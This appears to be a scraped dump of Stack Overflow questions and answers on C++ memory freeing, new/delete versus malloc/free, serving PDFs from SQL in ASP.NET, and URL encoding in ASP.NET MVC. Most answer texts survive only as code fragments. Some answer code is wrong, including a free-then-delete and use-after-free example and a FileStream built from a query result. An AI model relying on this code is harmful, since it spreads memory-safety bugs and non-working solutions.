[ "https://Stackoverflow.com/questions/240182", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4235/" ]
240,184
<p>I'm writing a CESetup.dll for a Windows Mobile app. It must be unmanaged, which I have little experience with. So I'm unsure of whether I should free the memory I allocate and how I do it.</p> <p>Here's the function I've written:</p> <pre><code> Uninstall_Init( HWND hwndParent, LPCTSTR pszInstallDir ) { LPTSTR folderPath = new TCHAR[256]; _stprintf(folderPath, _T("%s\\cache"), pszInstallDir); EmptyDirectory(folderPath); RemoveDirectory(folderPath); _stprintf(folderPath, _T("%s\\mobileadmin.dat"), pszInstallDir); DeleteFile(folderPath); // To continue uninstallation, return codeUNINSTALL_INIT_CONTINUE // If you want to cancel installation, // return codeUNINSTALL_INIT_CANCEL return codeUNINSTALL_INIT_CONTINUE; } </code></pre> <p>As I understand it, folderPath is allocated on the heap. EmptyDirectory() is my own function that removes all content in the directory. RemoveDirectory() and DeleteFile() are system calls.</p> <p>My question is should I deallocate <code>folderPath</code> before the function exits? If I should, how do I do it?</p>
[ { "answer_id": 240197, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 1, "selected": false, "text": " delete[] folderPath;\n new delete" }, { "answer_id": 240234, "author": "Mark Ransom", "author_id": 5987, "author_profile": "https://Stackoverflow.com/users/5987", "pm_score": 2, "selected": false, "text": "TCHAR folderPath[256];\n" }, { "answer_id": 240235, "author": "rmeador", "author_id": 10861, "author_profile": "https://Stackoverflow.com/users/10861", "pm_score": 3, "selected": true, "text": "delete [] folderPath;\n" }, { "answer_id": 240297, "author": "Mark Ransom", "author_id": 5987, "author_profile": "https://Stackoverflow.com/users/5987", "pm_score": 1, "selected": false, "text": " Uninstall_Init(\n HWND hwndParent,\n LPCTSTR pszInstallDir\n)\n{\n std::basic_string<TCHAR> folderPath = pszInstallDir;\n folderPath.append(_T(\"\\\\cache\"));\n EmptyDirectory(folderPath.c_str());\n RemoveDirectory(folderPath.c_str());\n folderPath = pszInstallDir;\n folderPath.append(_T(\"\\\\mobileadmin.dat\"));\n DeleteFile(folderPath.c_str());\n// To continue uninstallation, return codeUNINSTALL_INIT_CONTINUE\n// If you want to cancel installation,\n// return codeUNINSTALL_INIT_CANCEL\nreturn codeUNINSTALL_INIT_CONTINUE;\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240184", "https://Stackoverflow.com", "https://Stackoverflow.com/users/631/" ]
240,212
<p>What is the difference between <code>new</code>/<code>delete</code> and <code>malloc</code>/<code>free</code>?</p> <p>Related (duplicate?): <a href="https://stackoverflow.com/questions/184537/in-what-cases-do-i-use-malloc-vs-new">In what cases do I use malloc vs new?</a></p>
[ { "answer_id": 240218, "author": "Trap", "author_id": 7839, "author_profile": "https://Stackoverflow.com/users/7839", "pm_score": 6, "selected": false, "text": "new delete" }, { "answer_id": 240220, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 5, "selected": false, "text": "new delete malloc free" }, { "answer_id": 240221, "author": "Encryptic", "author_id": 31815, "author_profile": "https://Stackoverflow.com/users/31815", "pm_score": 4, "selected": false, "text": "new delete malloc free new delete" }, { "answer_id": 240222, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 4, "selected": false, "text": "new delete malloc free new delete malloc free" }, { "answer_id": 240226, "author": "Jorge Córdoba", "author_id": 2695, "author_profile": "https://Stackoverflow.com/users/2695", "pm_score": 2, "selected": false, "text": "new delete malloc free malloc free" }, { "answer_id": 240239, "author": "Steve Jessop", "author_id": 13005, "author_profile": "https://Stackoverflow.com/users/13005", "pm_score": 3, "selected": false, "text": "malloc new new delete malloc free new new" }, { "answer_id": 240308, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 10, "selected": true, "text": "new delete new NULL malloc free std::set_new_handler operator new operator delete malloc free void* NULL new delete malloc free new delete malloc free void* NULL NULL new malloc malloc new" }, { "answer_id": 21140518, "author": "herohuyongtao", "author_id": 2589776, "author_profile": "https://Stackoverflow.com/users/2589776", "pm_score": 3, "selected": false, "text": "new malloc new new malloc new malloc new" }, { "answer_id": 26252805, "author": "Walter", "author_id": 4087539, "author_profile": "https://Stackoverflow.com/users/4087539", "pm_score": 4, "selected": false, "text": "new malloc void* new malloc NULL new malloc new[] malloc malloc realloc new malloc new char" }, { "answer_id": 30926316, "author": "ron davis", "author_id": 3945194, "author_profile": "https://Stackoverflow.com/users/3945194", "pm_score": 0, "selected": false, "text": "malloc() <stdlib.h> <alloc.h> new new delete malloc new malloc" }, { "answer_id": 47247717, "author": "chirag kadam", "author_id": 7910909, "author_profile": "https://Stackoverflow.com/users/7910909", "pm_score": 0, "selected": false, "text": "#include<iostream>\n\n\nusing namespace std;\n\nclass ABC{\npublic: ABC(){\n cout<<\"Hello\"<<endl;\n }\n\n void disp(){\n cout<<\"Hi\\n\";\n }\n\n};\n\nint main(){\n\nABC* b=(ABC*)malloc(sizeof(ABC));\nint* q = new int[20];\nABC *a=new ABC();\nb->disp();\n\ncout<<b<<endl;\nfree(b);\ndelete b;\n//a=NULL;\nb->disp();\nABC();\ncout<<b;\nreturn 0;\n}\n Hello\nHi\n0x2abfef37cc20\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240212", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22471/" ]
240,219
<p>I have an ASP .Net (3.5) website. I have the following code that uploads a file as a binary to a SQL Database:</p> <pre><code>Print(" protected void UploadButton_Click(object sender, EventArgs e) { //Get the posted file Stream fileDataStream = FileUpload.PostedFile.InputStream; //Get length of file int fileLength = FileUpload.PostedFile.ContentLength; //Create a byte array with file length byte[] fileData = new byte[fileLength]; //Read the stream into the byte array fileDataStream.Read(fileData, 0, fileLength); //get the file type string fileType = FileUpload.PostedFile.ContentType; //Open Connection WebSysDataContext db = new WebSysDataContext(Contexts.WEBSYS_CONN()); //Create New Record BinaryStore NewFile = new BinaryStore(); NewFile.BinaryID = "1"; NewFile.Type = fileType; NewFile.BinaryFile = fileData; //Save Record db.BinaryStores.InsertOnSubmit(NewFile); try { db.SubmitChanges(); } catch (Exception) { throw; } }"); </code></pre> <p>The files that will be uploaded are PDFs, Can you please help me in writing the code to get the PDF out of the SQL database and display it in the browser. (I am able to get the binary file using a linq query but not sure how to process the bytes)</p>
[ { "answer_id": 240448, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": " WebSysDataContext db = new WebSysDataContext(Contexts.WEBSYS_CONN());\n\n var GetFile = from x in db.BinaryStores\n where x.BinaryID == \"1\"\n select x.BinaryFile;\n\n FileStream MyFileStream;\n long FileSize;\n\n MyFileStream = new FileStream(GetFile, FileMode.Open);\n FileSize = MyFileStream.Length;\n\n byte[] Buffer = new byte[(int)FileSize];\n MyFileStream.Read(Buffer, 0, (int)FileSize);\n MyFileStream.Close();\n\n Response.Write(\"<b>File Contents: </b>\");\n Response.BinaryWrite(Buffer);\n\n }\n" }, { "answer_id": 747553, "author": "this. __curious_geek", "author_id": 89556, "author_profile": "https://Stackoverflow.com/users/89556", "pm_score": 0, "selected": false, "text": "// First Strip-Out the OLE header\nconst int OleHeaderLength = 78;\n\nint strippedDataLength = datarow[\"Field\"].Length - OleHeaderLength;\n\nbyte[] strippedData = new byte[strippedDataLength];\n\nArray.Copy(datarow[\"Field\"], OleHeaderLength, \n strippedData , 0, strippedDataLength );\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240219", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
240,224
<p>In my web app, my parameters can contain all sorts of crazy characters (russian chars, slashes, spaces etc) and can therefor not always be represented as-is in a URL.<br> Sending them on their merry way will work in about 50% of the cases. Some things like spaces are already encoded somewhere (I'm guessing in the Html.BuildUrlFromExpression does). Other things though (like "/" and "*") are not.</p> <p>Now I don't know what to do anymore because if I encode them myself, my encoding will get partially encoded again and end up wrong. If I don't encode them, some characters will not get through.</p> <p>What I did is manually .replace() the characters I had problems with.<br> This is off course not a good idea.</p> <p>Ideas?</p> <p><strong>--Edit--</strong><br> <strong>I know there are a multitude of encoding/decoding libraries at my disposal.</strong> It just looks like the mvc framework is already trying to do it for me, but not completely.</p> <pre><code>&lt;a href="&lt;%=Html.BuildUrlFromExpression&lt;SearchController&gt;(c=&gt;c.Search("", 1, "a \v/&amp;irdStr*ng"))%&gt;" title="my hat's awesome!"&gt; </code></pre> <p>will render me</p> <pre><code>&lt;a href="/Search.mvc/en/Search/1/a%20%5Cv/&amp;irdStr*ng" title="my hat's awesome!"&gt; </code></pre> <p>Notice how the forward slash, asterisk and ampersand are not escaped. Why are some escaped and others not? How can I now escape this properly?</p> <p>Am I doing something wrong or is it the framework?</p>
[ { "answer_id": 240245, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "Server.UrlEncode() Server.UrlDecode()" }, { "answer_id": 240247, "author": "Cade Roux", "author_id": 18255, "author_profile": "https://Stackoverflow.com/users/18255", "pm_score": 0, "selected": false, "text": "URLEncode(x) != URLEncode(URLEncode(x))\n" }, { "answer_id": 240261, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "Uri.EscapeDataString string url = string.Format(\"http://www.foo.bar/page?name={0}&address={1}\",\n Uri.EscapeDataString(\"adlknad /?? lkm#\"),\n Uri.EscapeDataString(\" qeio103 8182\"));\n\n Console.WriteLine(url);\n Uri uri = new Uri(url);\n string[] options = uri.Query.Split('?','&');\n foreach (string option in options)\n {\n string[] parts = option.Split('=');\n if (parts.Length == 2)\n {\n Console.WriteLine(\"{0} = {1}\",parts[0],\n Uri.UnescapeDataString(parts[1]));\n }\n }\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11333/" ]